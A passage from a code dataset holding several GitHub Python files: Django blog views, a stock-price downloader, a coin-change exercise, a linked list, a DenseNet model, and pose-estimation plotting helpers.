Blog()\n blog.title = request.GET['title']\n blog.body = request.GET['body'] \n blog.pub_date = timezone.datetime.now()\n blog.save()\n return redirect('/blog/'+str(blog.id)) #blog.id는 int로 받아오므로 str로 형변환을 해줌.\n\n #render와 redirect의 차이점은 redirect는 URL을 받음(다른 사이트로도 이동할 수 있다.) render는 데이터를 담아서 처리하고 싶을 때 사용\n #따라서 인자를 무엇을 주느냐에 따라 사용하는 것이 달라진다.\n\ndef blogpost(request):\n # 1. 입력된 내용을 처리하는 기능 -> POST\n if request.method == 'POST':\n form = BlogPost(request.POST)\n if form.is_valid(): #예외처리를 해주는 함수(이메일 형식에 맞지않다거나 입력을 하지 않았다거나...)\n post = form.save(commit=False) #저장하지 않고 모델객체를 불러온다.\n post.pub_date = timezone.now()\n post.save()\n return redirect('index')\n # 2. 빈페이지를 띄워주는 기능 -> GET\n else:\n form = BlogPost()\n return render(request, 'newblog.html', {'form':form})\n\n#댓글작성\ndef comment_write(request, blog_pk):\n if request.method == 'POST':\n post = get_object_or_404(Blog, pk=blog_pk)\n content = request.POST.get('content')\n\n if not content:\n messages.info(request, \"You don't write anything...\")\n return redirect('/blog/'+str(blog_pk))\n\n Comment.objects.create(post=post, comment_contents=content)\n return redirect('/blog/'+str(blog_pk))\n\n#좋아요\n# @login_required\n# def post_like(request, pk):\n# post = get_object_or_404(Blog, pk=pk)\n# post_like, post_like_created = post.like_user_set.get_or_create(user=request.user)\n\n# if not post_like_created:\n# post_like.delete()\n\n# return redirect('post_list/'+str(pk))","repo_name":"hooong/Django_study","sub_path":"4.blog_project/mydjangoproject/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"20697036437","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Requirements instructions: https://pypi.org/project/fix-yahoo-finance/#description\n\nimport fix_yahoo_finance as yt\nimport os\n\nticker = \" \"\n\ns_data = input(\"Enter start date (YYYY-MM-DD): \")\ne_data = input(\"Enter end date (YYYY-MM-DD): \")\nticker = input(\"Enter stock symbol (e.g. APPL) or ! to exit: \")\n\nos.makedirs(\"datasets\",exist_ok=True)\n\nwhile ticker != \"!\":\n print('\\nloading: \\'{0}\\' '.format(ticker))\n try:\n stockPrices = yt.download(ticker, start= s_data, end= e_data)\n print('ok: \\'{0}\\' '.format(ticker))\n stockPrices.to_csv(\"./datasets/\"+ ticker +\".csv\", sep=',')\n except ValueError:\n print(\"Error - maybe wrong Symbol - check out!\")\n ticker = input(\"Enter stock symbol (e.g. APPL) or ! to exit: \")\n\nprint(\"... Finished.\")\n","repo_name":"agnaldoae/forecast01","sub_path":"miscellaneous/downloadFinancialTimeSeries.py","file_name":"downloadFinancialTimeSeries.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16757380863","text":"import math\ndef n_coins():\n cents = None\n while True:\n try:\n cents = int(input(\"Change owed: \"))\n if cents > 0:\n break\n else:\n continue\n except ValueError:\n print(\"Invalid Input\")\n\n (quarter, dime, nickel, penny) = (0,0,0,0)\n quarter = math.floor(cents/25)\n cents = cents - quarter*25\n \n dime = math.floor(cents/10)\n cents = cents - dime*10\n \n nickel = math.floor(cents/5)\n cents = cents - nickel*5\n \n penny = cents\n \n coins = quarter + dime + nickel + penny\n print(coins)\n\nwhile True:\n n_coins()\n","repo_name":"NikhilMuzumdar/CS50","sub_path":"01.C Problem Set 1 Cash .py","file_name":"01.C Problem Set 1 Cash .py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11350348993","text":"\"\"\"\nLinked List :\n --> Has nodes:\n Each Node has:\n [+] Data\n --> The actual data the node holds\n [+] Next\n --> A reference to the next node\n --> Moves left to right\n --> Is null if is last node\n --> Head:\n --> Reference to the 1st node\n --> Is null if Linked List is empty\n\"\"\"\n\n\n\n\nclass Node:\n data = ''\n next = None\n def __init__(self, data):\n self.data = data\n\n\n\n\n\nclass LinkedList:\n head = None\n\n def is_empty(self):\n return self.head is None\n\n def insert_first(self, new_node_data):\n new_node = Node(new_node_data)\n new_node.next = self.head\n self.head = new_node\n\n def insert_after(self, pred_node_data, new_node_data):\n pred = self.head\n while pred is not None and pred.data != pred_node_data:\n pred = pred.next\n\n if pred:\n new_node = Node(new_node_data)\n new_node.next = pred.next\n pred.next = new_node\n else:\n raise IndexError(f\"Fail: the node {pred_node_data} is no found\")\n\n def insert_last(self, new_node_data):\n if self.is_empty():\n self.head = Node(new_node_data)\n return\n pred = self.head\n while pred.next is not None:\n pred = pred.next\n pred.next = Node(new_node_data)\n\n\n def delete_first_occurrence(self, delete_node_data):\n if self.is_empty():\n raise ValueError(\"list is empty\")\n\n pred = self.head\n if pred.data == delete_node_data:\n self.head = self.head.next\n return pred\n\n while pred is not None and pred.next and pred.next.data != delete_node_data:\n pred = pred.next\n if pred:\n temp = pred.next\n if temp:\n pred.next = temp.next\n return temp\n else:\n raise IndexError(f\"Fail: the node {delete_node_data} is no found\")\n else:\n raise IndexError(f\"Fail: the node {delete_node_data} is no found\")\n\n\n def delete_first(self):\n if self.is_empty():\n raise IndexError(\"list is empty\")\n temp = self.head\n self.head = self.head.next\n return temp\n\n\n def delete_last(self):\n if self.is_empty():\n raise IndexError(\"list is empty\")\n return None\n\n pred = self.head\n if pred.next is None:\n self.head = None\n return pred\n\n while pred is not None and pred.next.next is not None:\n pred = pred.next\n\n temp = pred.next\n pred.next = None\n return temp\n\n\n def __len__(self):\n count = 0\n for _ in self:\n count += 1\n return count\n\n def __node_iter(self):\n node = self.head\n while node:\n yield node\n node = node.next\n\n def __iter__(self):\n \"\"\":returns values iterator\"\"\"\n return iter(map(lambda node: node.data, self.__node_iter()))\n","repo_name":"carlos-nyaga/DS-ALG","sub_path":"DataStructures/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32350423165","text":"\"\"\" densenet.py (modified by: Charley Zhang 2020.08)\nModified implementation of PyTorch densenet from:\nhttps://github.com/pytorch/vision/blob/master/torchvision/models/densenet.py\n\nModel Overviews (7 output classes)\n-------------\nDenseNet121: 6.9M params | 74.43% Top1\nDenseNet169: 12.5M params | 75.60% Top1\nDenseNet201: 18.1M params | 76.90% Top1\nDenseNet161: 26.5M params | 77.14% Top1\n\"\"\"\n\nimport sys, os\nimport re\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom collections import OrderedDict\n\nfrom ..basemodel import BaseModel\n\n__all__ = ['DenseNet', 'densenet121', 'densenet169', 'densenet201', 'densenet161']\n\n\nmodel_params_path = '/afs/crc.nd.edu/user/y/yzhang46/_DLResources/Models/'\nmodel_params = {\n 'densenet121': os.path.join(model_params_path, 'densenet121.pth'),\n 'densenet169': os.path.join(model_params_path, 'densenet169.pth'),\n 'densenet201': os.path.join(model_params_path, 'densenet201.pth'),\n 'densenet161': os.path.join(model_params_path, 'densenet161.pth'),\n}\n\ndef _get_params(model_name):\n assert model_name in model_params, f\"{model_name} not in params list.\"\n return torch.load(model_params[model_name])\n\n\nclass ForwardHook:\n def __init__(self, module):\n self.activations = None\n self.forward_hook = module.register_forward_hook(self.forward_hook_fn)\n \n def forward_hook_fn(self, module, input, output):\n self.activations = output\n\n\nclass _DenseLayer(nn.Sequential):\n def __init__(self, num_input_features, growth_rate, bn_size, drop_rate):\n super(_DenseLayer, self).__init__()\n self.add_module('norm1', nn.BatchNorm2d(num_input_features)),\n self.add_module('relu1', nn.ReLU(inplace=True)),\n self.add_module('conv1', nn.Conv2d(num_input_features, bn_size *\n growth_rate, kernel_size=1, stride=1, bias=False)),\n self.add_module('norm2', nn.BatchNorm2d(bn_size * growth_rate)),\n self.add_module('relu2', nn.ReLU(inplace=True)),\n self.add_module('conv2', nn.Conv2d(bn_size * growth_rate, growth_rate,\n kernel_size=3, stride=1, padding=1, bias=False)),\n self.drop_rate = drop_rate\n\n def forward(self, x):\n new_features = super(_DenseLayer, self).forward(x)\n if self.drop_rate > 0:\n new_features = F.dropout(new_features, p=self.drop_rate, \n training=self.training)\n return torch.cat([x, new_features], 1)\n\n\nclass _DenseBlock(nn.Sequential):\n def __init__(self, num_layers, num_input_features, bn_size, growth_rate, drop_rate):\n super(_DenseBlock, self).__init__()\n for i in range(num_layers):\n layer = _DenseLayer(num_input_features + i * growth_rate, \n growth_rate, bn_size, drop_rate)\n self.add_module('denselayer%d' % (i + 1), layer)\n\n\nclass _Transition(nn.Sequential):\n def __init__(self, num_input_features, num_output_features):\n super(_Transition, self).__init__()\n self.add_module('norm', nn.BatchNorm2d(num_input_features))\n self.add_module('relu', nn.ReLU(inplace=True))\n self.add_module('conv', nn.Conv2d(num_input_features, num_output_features,\n kernel_size=1, stride=1, bias=False))\n self.add_module('pool', nn.AvgPool2d(kernel_size=2, stride=2))\n\n\nclass DenseNet(BaseModel):\n r\"\"\"Densenet-BC model class, based on\n `\"Densely Connected Convolutional Networks\" `_\n Args:\n growth_rate (int) - how many filters to add each layer (`k` in paper)\n block_config (list of 4 ints) - how many layers in each pooling block\n num_init_features (int) - the number of filters to learn in the first convolution layer\n bn_size (int) - multiplicative factor for number of bottle neck layers\n (i.e. bn_size * k features in the bottleneck layer)\n drop_rate (float) - dropout rate after each dense layer\n num_classes (int) - number of classification classes\n \"\"\"\n\n def __init__(self, growth_rate=32, block_config=(6, 12, 24, 16),\n num_init_features=64, bn_size=4, drop_rate=0.2, \n num_classes=1000, final_drop_rate=0.):\n\n super(DenseNet, self).__init__()\n\n # First convolution\n self.features = nn.Sequential(OrderedDict([\n ('conv0', nn.Conv2d(3, num_init_features, kernel_size=7, stride=2, \n padding=3, bias=False)),\n ('norm0', nn.BatchNorm2d(num_init_features)),\n ('relu0', nn.ReLU(inplace=True)),\n ('pool0', nn.MaxPool2d(kernel_size=3, stride=2, padding=1)),\n ]))\n\n # Each denseblock\n self.hooks = []\n num_features = num_init_features\n for i, num_layers in enumerate(block_config):\n block = _DenseBlock(num_layers=num_layers, num_input_features=num_features,\n bn_size=bn_size, growth_rate=growth_rate, \n drop_rate=drop_rate)\n self.features.add_module('denseblock%d' % (i + 1), block)\n self.hooks.append(ForwardHook(block))\n \n num_features = num_features + num_layers * growth_rate\n if i != len(block_config) - 1:\n trans = _Transition(num_input_features=num_features, \n num_output_features=num_features // 2)\n self.features.add_module('transition%d' % (i + 1), trans)\n num_features = num_features // 2\n\n # Final batch norm\n self.features.add_module('norm5', nn.BatchNorm2d(num_features))\n self.final_drop_rate = final_drop_rate\n\n # Linear layer\n self.classifier = nn.Linear(num_features, num_classes)\n\n # Official init from torch repo.\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.Linear):\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x, activations=False, ret_dict=False):\n features = self.features(x)\n out = F.relu(features, inplace=True)\n out = F.avg_pool2d(out, kernel_size=7, stride=1).view(features.size(0), -1)\n if self.final_drop_rate > 0:\n # print('Final drop rate: ', self.final_drop_rate)\n out = F.dropout(out, p=self.final_drop_rate, \n training=self.training)\n activs = out\n out = self.classifier(out)\n \n if ret_dict:\n return {\n 'features': features,\n 'activations': activs,\n 'out': out\n }\n \n if activations: # backward compat.\n return out, activs\n else:\n return out\n\n\ndef densenet121(pretrained=False, **kwargs):\n r\"\"\"Densenet-121 model from\n `\"Densely Connected Convolutional Networks\" `_\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n Structure:\n Bx64xH/4xW/4 @ 7x7+MP out\n Bx256xH/8xW/8 @ denseblock1 out (before transition //2 dims)\n Bx512xH/16xW/16 @ denseblock 2 out\n Bx1024xH/32xW/32 @ denseblock 3 out\n Bx1024xH/32xW/32 @ denseblock 4 out\n \"\"\"\n model = DenseNet(num_init_features=64, growth_rate=32, block_config=(6, 12, 24, 16),\n **kwargs)\n num_classes = kwargs['num_classes']\n if pretrained:\n # '.'s are no longer allowed in module names, but pervious _DenseLayer\n # has keys 'norm.1', 'relu.1', 'conv.1', 'norm.2', 'relu.2', 'conv.2'.\n # They are also in the checkpoints in model_urls. This pattern is used\n # to find such keys.\n pattern = re.compile(\n r'^(.*denselayer\\d+\\.(?:norm|relu|conv))\\.((?:[12])\\.(?:weight|bias|running_mean|running_var))$')\n state_dict = _get_params('densenet121')\n for key in list(state_dict.keys()):\n res = pattern.match(key)\n if res:\n new_key = res.group(1) + res.group(2)\n state_dict[new_key] = state_dict[key]\n del state_dict[key]\n if num_classes != 1000 and 'classifier' in key:\n del state_dict[key]\n load_state_dict(model, state_dict)\n return model\n\n\ndef densenet169(pretrained=False, **kwargs):\n r\"\"\"Densenet-169 model from\n `\"Densely Connected Convolutional Networks\" `_\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n Structure:\n Bx64xH/4xW/4 @ 7x7+MP out\n Bx256xH/8xW/8 @ denseblock1 out (before transition //2 dims)\n Bx512xH/16xW/16 @ denseblock 2 out\n Bx1280xH/32xW/32 @ denseblock 3 out\n Bx1664xH/32xW/32 @ denseblock 4 out\n \"\"\"\n model = DenseNet(num_init_features=64, growth_rate=32, block_config=(6, 12, 32, 32),\n **kwargs)\n num_classes = kwargs['num_classes']\n if pretrained:\n # '.'s are no longer allowed in module names, but pervious _DenseLayer\n # has keys 'norm.1', 'relu.1', 'conv.1', 'norm.2', 'relu.2', 'conv.2'.\n # They are also in the checkpoints in model_urls. This pattern is used\n # to find such keys.\n pattern = re.compile(\n r'^(.*denselayer\\d+\\.(?:norm|relu|conv))\\.((?:[12])\\.(?:weight|bias|running_mean|running_var))$')\n state_dict = _get_params('densenet169')\n for key in list(state_dict.keys()):\n res = pattern.match(key)\n if res:\n new_key = res.group(1) + res.group(2)\n state_dict[new_key] = state_dict[key]\n del state_dict[key]\n if num_classes != 1000 and 'classifier' in key:\n del state_dict[key]\n load_state_dict(model, state_dict)\n return model\n\n\ndef densenet201(pretrained=False, **kwargs):\n r\"\"\"Densenet-201 model from\n `\"Densely Connected Convolutional Networks\" `_\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n Structure:\n Bx64xH/4xW/4 @ 7x7+MP out\n Bx256xH/8xW/8 @ denseblock1 out (before transition //2 dims)\n Bx512xH/16xW/16 @ denseblock 2 out\n Bx1792xH/32xW/32 @ denseblock 3 out\n Bx1920xH/32xW/32 @ denseblock 4 out\n \"\"\"\n model = DenseNet(num_init_features=64, growth_rate=32, block_config=(6, 12, 48, 32),\n **kwargs)\n num_classes = kwargs['num_classes']\n if pretrained:\n # '.'s are no longer allowed in module names, but pervious _DenseLayer\n # has keys 'norm.1', 'relu.1', 'conv.1', 'norm.2', 'relu.2', 'conv.2'.\n # They are also in the checkpoints in model_urls. This pattern is used\n # to find such keys.\n pattern = re.compile(\n r'^(.*denselayer\\d+\\.(?:norm|relu|conv))\\.((?:[12])\\.(?:weight|bias|running_mean|running_var))$')\n state_dict = _get_params('densenet201')\n for key in list(state_dict.keys()):\n res = pattern.match(key)\n if res:\n new_key = res.group(1) + res.group(2)\n state_dict[new_key] = state_dict[key]\n del state_dict[key]\n if num_classes != 1000 and 'classifier' in key:\n del state_dict[key]\n load_state_dict(model, state_dict)\n return model\n\n\ndef densenet161(pretrained=False, **kwargs):\n r\"\"\"Densenet-161 model from\n `\"Densely Connected Convolutional Networks\" `_\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n Structure:\n Bx96xH/4xW/4 @ 7x7+MP out\n Bx384xH/8xW/8 @ denseblock1 out (before transition //2 dims)\n Bx768xH/16xW/16 @ denseblock 2 out\n Bx2112xH/32xW/32 @ denseblock 3 out\n Bx2208xH/32xW/32 @ denseblock 4 out\n \"\"\"\n model = DenseNet(num_init_features=96, growth_rate=48, block_config=(6, 12, 36, 24),\n **kwargs)\n num_classes = kwargs['num_classes']\n if pretrained:\n # '.'s are no longer allowed in module names, but pervious _DenseLayer\n # has keys 'norm.1', 'relu.1', 'conv.1', 'norm.2', 'relu.2', 'conv.2'.\n # They are also in the checkpoints in model_urls. This pattern is used\n # to find such keys.\n pattern = re.compile(\n r'^(.*denselayer\\d+\\.(?:norm|relu|conv))\\.((?:[12])\\.(?:weight|bias|running_mean|running_var))$')\n state_dict = _get_params('densenet161')\n for key in list(state_dict.keys()):\n res = pattern.match(key)\n if res:\n new_key = res.group(1) + res.group(2)\n state_dict[new_key] = state_dict[key]\n del state_dict[key]\n if num_classes != 1000 and 'classifier' in key:\n del state_dict[key]\n load_state_dict(model, state_dict)\n return model\n\n\ndef load_state_dict(model, state_dict):\n print(' (DenseNet pretrained=True) Loading pretrained stat_dict..')\n print('\\t', model.load_state_dict(state_dict, strict=False))\n\n\ndef get_model(name, pretrained=True, only_encoder=False, layer_drop_rate=0.2, \n final_drop_rate=0., num_classes=1000):\n \"\"\"\n Parameters (defaults are based on PyTorch values):\n pretrained (bool) - use ImageNet pretrained parameters\n only_encoder (bool) - only get feature extractor (full FMs)\n layer_drop_rate (probability) - drop rate after every dense layer\n final_drop_rate (probability) - drop rate before last pooling layer\n num_classes (int) - number of output classes (cut if only_encoder)\n \"\"\"\n name = str(name)\n if '121' in name:\n model = densenet121(pretrained=pretrained, num_classes=num_classes,\n drop_rate=layer_drop_rate, final_drop_rate=final_drop_rate)\n elif '169' in name:\n model = densenet169(pretrained=pretrained, num_classes=num_classes,\n drop_rate=layer_drop_rate, final_drop_rate=final_drop_rate)\n elif '201' in name:\n model = densenet201(pretrained=pretrained, num_classes=num_classes,\n drop_rate=layer_drop_rate, final_drop_rate=final_drop_rate)\n elif '161' in name:\n model = densenet161(pretrained=pretrained, num_classes=num_classes,\n drop_rate=layer_drop_rate, final_drop_rate=final_drop_rate)\n else:\n raise ValueError(f\"DenseNet name ({name}) is not supported.\")\n \n if only_encoder:\n model = list(model.children())[0]\n\n print(f\" (DenseNet get_model) {name} model (pretrained={pretrained})\"\n f\" loaded w/{model.param_counts[0]:,} params.\")\n return model","repo_name":"charzharr/3D-medseg-pretraining","sub_path":"src/lib/nets/planar/densenet2d.py","file_name":"densenet2d.py","file_ext":"py","file_size_in_byte":14964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7814785084","text":"\"\"\"Plotting + data format and reference frame conversion utilities specific to the pose estimation problem\n\"\"\"\n\nimport numpy as np\nimport io\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport plotly.graph_objects as go\nimport plotly.io as pio\nfrom plotly.subplots import make_subplots\npio.templates.default = \"plotly_white\"\n\nDEG_TO_RAD = np.pi / 180.0\nRAD_TO_SCALED = 1 / np.pi # ensure angle is within [-1, 1]\nMAX_DEPTH = 25 # m\nMETERS_TO_SCALED = 1 / MAX_DEPTH # ensure depth is within [0, 1]\nINTENSITY_TO_SCALED = 1 / 255. # # ensure pixel intensities are within [0, 1]\n\n\ndef which_target(tf_data_path):\n if 'hopper' in tf_data_path:\n target='processing_plant'\n elif 'scout' in tf_data_path:\n target='small_scout_1'\n else:\n target='small_excavator_1'\n return target\n\n\ndef show_rgbd(img, figsize=(20, 5), format='rgbd'):\n # TODO: refactor conditions, this grew a bit too bespoke ><\n n_channels = np.atleast_3d(img).shape[-1]\n print(f\"img shape: {img.shape}, found {n_channels} channels\")\n if 'h' in format: # 'hsv' or subset\n if format == 'hsvd':\n fig, ax = plt.subplots(3, 2, figsize=(figsize[0], figsize[1] * 3))\n ax = ax.ravel()\n h = ax[0].imshow(img[:, :, 0])\n plt.colorbar(h, ax=ax[0])\n ax[0].set_title(\"Hue\")\n\n s = ax[2].imshow(img[:, :, 1])\n plt.colorbar(s, ax=ax[2])\n ax[2].set_title(\"Saturation\")\n\n v = ax[4].imshow(img[:, :, 2])\n plt.colorbar(v, ax=ax[4])\n ax[4].set_title(\"Value\")\n\n d = ax[1].imshow(img[:, :, -1])\n plt.colorbar(d, ax=ax[1])\n ax[1].set_title(\"Depth\")\n elif format == 'hvd' or format == 'hv' or format == 'hd':\n fig, ax = plt.subplots(2, 2, figsize=(figsize[0], figsize[1] * 2))\n ax = ax.ravel()\n h = ax[0].imshow(img[:, :, 0])\n plt.colorbar(h, ax=ax[0])\n ax[0].set_title(\"Hue\")\n\n if format == 'hvd' or format == 'hv':\n v = ax[2].imshow(img[:, :, 1])\n plt.colorbar(v, ax=ax[2])\n ax[2].set_title(\"Value\")\n if 'd' in format:\n d = ax[1].imshow(img[:, :, -1])\n plt.colorbar(d, ax=ax[1])\n ax[1].set_title(\"Depth\")\n else:\n fig, ax = plt.subplots(3, 1, figsize=(figsize[0], figsize[1] * 3))\n ax = ax.ravel()\n h = ax[0].imshow(img[:, :, 0])\n plt.colorbar(h, ax=ax[0])\n ax[0].set_title(\"Hue\")\n s = ax[1].imshow(img[:, :, 1])\n plt.colorbar(s, ax=ax[1])\n ax[1].set_title(\"Saturation\")\n v = ax[2].imshow(img[:, :, 2])\n plt.colorbar(v, ax=ax[2])\n ax[2].set_title(\"Value\")\n\n elif 'd' in format:\n fig, ax = plt.subplots(1, 2, figsize=figsize)\n d = ax[1].imshow(img[:, :, -1])\n plt.colorbar(d, ax=ax[1])\n ax[1].set_title(\"Depth\")\n if n_channels == 4:\n im = ax[0].imshow(img[:, :, :3])\n ax[0].set_title(\"RGB\")\n plt.colorbar(im, ax=ax[0])\n elif format == 'rbd':\n rgb = np.zeros((img.shape[0], img.shape[1], 3))\n rgb[:, :, 0] = img[:, :, 0]\n rgb[:, :, 2] = img[:, :, 1]\n im = ax[0].imshow(rgb)\n ax[0].set_title(\"Red and Blue\")\n plt.colorbar(im, ax=ax[0])\n else:\n fig, ax = plt.subplots(1, 1, figsize=figsize)\n if n_channels == 1:\n d = ax.imshow(img)\n plt.colorbar(d, ax=ax)\n ax.set_title(\"single channel\")\n elif n_channels == 3:\n im = ax.imshow(img)\n plt.colorbar(im, ax=ax)\n ax.set_title(\"RGB\")\n elif format == 'rb':\n rgb = np.zeros((img.shape[0], img.shape[1], 3))\n rgb[:, :, 0] = img[:, :, 0]\n rgb[:, :, 2] = img[:, :, 1]\n im = ax.imshow(rgb)\n ax.set_title(\"Red and Blue\")\n plt.colorbar(im, ax=ax)\n else:\n print(f\"n_channels = {n_channels} with format = {format} are not supported\")\n\n return fig, ax\n\n\ndef plotly2array(fig):\n # convert a Plotly interactive figure to a numpy array (to save as a static image on Neptune.ai)\n # from https://community.plotly.com/t/converting-byte-object-to-numpy-array/40189/2\n fig_bytes = fig.to_image(format=\"png\")\n buf = io.BytesIO(fig_bytes)\n img = Image.open(buf)\n arr = np.asarray(img)\n if np.max(arr) > 1: # convert from 0-255 range to 0-1 range\n arr = arr/255.\n return arr\n\n\ndef hist_labels(labels, title='label histogram', figsize=(20, 5)):\n rows = 2\n fig, ax = plt.subplots(rows, 3, figsize=(figsize[0], figsize[1] * rows))\n ax = ax.ravel()\n ax[0].hist([d for d, _, _ in labels])\n ax[0].set_title(\"d (raw)\")\n ax[1].hist([theta for _, theta, _ in labels])\n ax[1].set_title(\"theta (raw)\")\n ax[2].hist([yaw for _, _, yaw in labels])\n ax[2].set_title(\"yaw (raw)\")\n\n ax[3].hist([d / METERS_TO_SCALED for d, _, _ in labels])\n ax[3].set_title(\"d (meters)\")\n ax[4].hist([theta / RAD_TO_SCALED / DEG_TO_RAD for _, theta, _ in labels])\n ax[4].set_title(\"theta (degrees)\")\n ax[5].hist([yaw / RAD_TO_SCALED / DEG_TO_RAD for _, _, yaw in labels])\n ax[5].set_title(\"yaw (degrees)\")\n fig.suptitle(title, fontsize=16)\n return fig\n\n\ndef subplot_labels(labels, viz='raw', subset=50, title='label subplots'):\n if subset is None or subset > len(labels):\n subset = len(labels)\n\n # create stacked subplots with each output\n if viz == 'raw':\n units = ['raw'] * 3\n elif viz == 'human':\n units = ['meters', 'degrees', 'degrees']\n else:\n print(f\"viz '{viz}' not supported. only 'raw' or 'human' are valid\")\n\n fig = make_subplots(\n rows=3, cols=1,\n shared_xaxes=True,\n subplot_titles=[f'distance ({units[0]})', f'theta ({units[1]})', f'yaw ({units[2]})']\n )\n fig.add_trace(go.Scatter(\n y=labels[:subset, 0] if viz == 'raw' else labels[:subset, 0]/ METERS_TO_SCALED,\n mode='markers',\n name='d',\n ),\n row=1, col=1\n )\n fig.add_trace(go.Scatter(\n y=labels[:subset, 1] if viz == 'raw' else labels[:subset, 1]/ RAD_TO_SCALED / DEG_TO_RAD,\n mode='markers',\n name='theta',\n ),\n row=2, col=1\n )\n fig.add_trace(go.Scatter(\n y=labels[:subset, 2] if viz == 'raw' else labels[:subset, 2]/ RAD_TO_SCALED / DEG_TO_RAD,\n mode='markers',\n name='yaw',\n ),\n row=3, col=1\n )\n fig.update_layout(\n # height=800,\n # width=1000,\n title_text=title\n )\n return fig\n\n\ndef hist_errors(d_true, theta_true, yaw_true, d_list, theta_list, yaw_list, n_bins=20, figsize=(20, 5)):\n error_d = [(true - pred) for true, pred in zip(d_true, d_list)]\n error_theta = []\n for true, pred in zip(theta_true, theta_list):\n delta = (true - pred) / DEG_TO_RAD\n if delta < - 180.:\n error_theta.append(delta + 360)\n elif delta > 180:\n error_theta.append(delta - 360)\n else:\n error_theta.append(delta)\n error_yaw = [(true - pred) / DEG_TO_RAD for true, pred in zip(yaw_true, yaw_list)]\n\n rows = 2\n fig, ax = plt.subplots(rows, 3, figsize=(figsize[0], figsize[1] * rows))\n ax = ax.ravel()\n hist = ax[0].hist(np.abs(error_d), bins=n_bins)\n ax[0].set_title(\"absolute error distance (meters)\")\n mean = np.mean(np.abs(error_d))\n median = np.median(np.abs(error_d))\n ax[0].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[0].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[0].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n\n hist = ax[1].hist(np.abs(error_theta), bins=n_bins)\n ax[1].set_title(\"absolute error theta (degrees)\")\n median = np.median(np.abs(error_theta))\n mean = np.mean(np.abs(error_theta))\n ax[1].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[1].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[1].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n\n hist = ax[2].hist(np.abs(error_yaw), bins=n_bins)\n ax[2].set_title(\"absolute error yaw (degrees)\")\n median = np.median(np.abs(error_yaw))\n mean = np.mean(np.abs(error_yaw))\n ax[2].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[2].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[2].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n\n hist = ax[3].hist(error_d, bins=n_bins)\n ax[3].set_title(\"error distance (meters)\")\n mean = np.mean(error_d)\n median = np.median(error_d)\n ax[3].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[3].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[3].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n\n hist = ax[4].hist(error_theta, bins=n_bins)\n ax[4].set_title(\"error theta (degrees)\")\n mean = np.mean(error_theta)\n median = np.median(error_theta)\n ax[4].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[4].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[4].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n\n hist = ax[5].hist(error_yaw, bins=n_bins)\n ax[5].set_title(\"error yaw (degrees)\")\n mean = np.mean(error_yaw)\n median = np.median(error_yaw)\n ax[5].axvline(mean, color='r', linestyle='dashed', linewidth=2)\n ax[5].axvline(median, color='g', linestyle='dotted', linewidth=2)\n ax[5].legend((f'mean = {mean:.2f}', f'median = {median:.2f}'), numpoints=1, loc=1)\n return fig\n\n\n\ndef viz_positions(x_list, y_list, yaw_list, name='predict', footprint='small_excavator_1', subset=None):\n if subset is None or subset > len(x_list):\n subset = len(x_list)\n fig = go.Figure(\n data=go.Scatter(\n x=x_list[:subset],\n y=y_list[:subset],\n customdata=[yaw / DEG_TO_RAD for yaw in yaw_list], # convert to degrees\n mode='markers',\n name=name,\n hovertemplate=\"yaw = %{customdata:.1f} deg\"\n )\n )\n fig.update_yaxes(\n scaleanchor=\"x\",\n scaleratio=1,\n )\n if footprint == 'processing_plant':\n fig.add_shape(\n type=\"circle\",\n xref=\"x\", yref=\"y\",\n x0=-1.8, y0=-1.8, x1=1.8, y1=1.8,\n line_color=\"LightSeaGreen\",\n )\n fig.add_shape(\n type=\"rect\",\n xref=\"x\", yref=\"y\",\n x0=-1.4, y0=-3.8, x1=1.4, y1=-2.1,\n line_color=\"LightSeaGreen\",\n )\n fig.add_annotation(\n x=0,\n y=0,\n text=\"PP\",\n xref=\"x\",\n yref=\"y\",\n showarrow=False,\n font_size=20\n )\n elif 'small_' in footprint:\n fig.add_shape(\n type=\"rect\",\n xref=\"x\", yref=\"y\",\n x0=-1.43 / 2, y0=-1.29 / 2, x1=1.43 / 2, y1=1.29 / 2,\n line_color=\"LightSeaGreen\",\n )\n if 'excavator' in footprint:\n fig.add_shape(\n type=\"rect\",\n xref=\"x\", yref=\"y\",\n x0=1.43 / 2, y0=-0.25, x1=1.43 / 2 + 1, y1=0.25,\n 